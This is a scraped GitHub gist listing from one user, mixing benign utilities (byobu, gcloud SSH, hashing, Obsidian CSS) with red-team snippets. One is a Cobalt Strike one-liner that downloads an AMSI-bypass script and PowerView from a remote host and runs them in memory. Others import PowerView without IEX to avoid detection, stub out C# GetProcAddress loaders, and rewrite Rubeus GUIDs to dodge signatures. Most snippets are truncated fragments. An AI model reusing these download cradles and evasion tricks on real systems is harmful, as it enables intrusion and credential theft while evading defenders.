Skip to content

Instantly share code, notes, and snippets.

@natesubra
natesubra / mybyobu.sh
Last active January 23, 2024 17:59
Byobu Scripting
#!/usr/bin/env bash
_SESSION_NAME="dev" # arbitrary name for our session, must be unique
# Man pages: https://manpages.ubuntu.com/cgi-bin/search.py?q=byobu
# Good read: https://help.ubuntu.com/community/Byobu
# Understand all of the parameters for sub commands: https://fig.io/manual/tmux
# TL;DR: Byobu is an opinionated wrapper/config around tmux (default), or screen, two popular terminal multiplexers
# Everything that is applicable to tmux is generally applicable to byobu,
# just remember the byobu prefix is ctrl-a, tmux default is ctrl-b
@natesubra
natesubra / gist:44a9933969c179d350fa20010fc61f68
Created January 19, 2024 20:54
Cobalt Strike - Download cradle alternative
run powershell $am = Invoke-RestMethod \"https://www.example.com/effamsi\"; . ($am); $content = Invoke-RestMethod \"https://www.example.com/pv\"; $scriptblock = [scriptblock]::Create(\"$content\"); $mod = New-Module -ScriptBlock $scriptblock; Import-Module $mod; Get-DomainComputer
@natesubra
natesubra / import-pv.ps1
Created January 19, 2024 20:22
Import PS1 without using IEX
$URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1"
$content = Invoke-RestMethod $URL
$scriptblock = [scriptblock]::Create("$content")
New-Module -ScriptBlock $scriptblock | Import-Module
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace test
{
class Win32
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Linq;
namespace NautilusProject
{
internal class CombinedExec
{
public static IntPtr AllocMemory(int length)
@natesubra
natesubra / inflate.ps1
Created June 6, 2023 03:55
Quick powershell port of inflate.py
#Requires -Version 5.0
# Credit: https://github.com/njcve/inflate.py
param(
[Parameter(Mandatory = $true)]
[string] $InputFile,
[Parameter(Mandatory = $true)]
[string] $OutputFile,
[Parameter(Mandatory = $true)]
@natesubra
natesubra / Invoke-gcloudssh.ps1
Created February 1, 2023 19:50
SSH from windows using the gcloud CLI without being forced to use putty
# [Adapted from source:](https://superuser.com/a/1558617/91960)
# SSH from windows using the gcloud CLI without being forced to use putty
# Assumes that gcloud project defaults are set and auth is configured
function Invoke-gcloudssh {
[CmdletBinding()]
param (
[Parameter(Mandatory = $true)]
[string] $instance_name
)
# get default command as string(--dry-run)
function Get-StringHash {
param (
[Parameter(
Position=0,
Mandatory=$true,
ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true)]
[string] $ClearString,
[Parameter(Mandatory=$false)]
[ValidateSet('md5', 'sha1', 'sha256', 'sha384', 'sha512')]
@natesubra
natesubra / build-rubeus.ps1
Created January 12, 2023 17:51
Build Rubeus and clean some indicators
$old_guid = '658C8B7F-3664-4A95-9572-A3E5871DFC06'
$new_guid = (New-Guid).ToString()
[string[]] $filetypes = "*.cs", "*.sln", "*.csproj"
ForEach ($filetype in $filetypes) {
$files = Get-ChildItem -Path $filetype -Recurse -File
ForEach ($file in $files) {
$content = Get-Content $file
$content = $content -Replace "$old_guid", "$new_guid"
@natesubra
natesubra / Highlighted_Folders.css
Created November 21, 2022 20:29
Obsidian Highlighted Folders
.theme-dark {
/* ! Vault Title*/
--vtcolor1: rgb(130, 57, 226);
--vtcolor2: rgb(82, 236, 247);
/* ! Navigation Action Button*/
--nsvg: rgb(104, 112, 155);
/* ! Folder Container*/
--tfbwidth: 2px;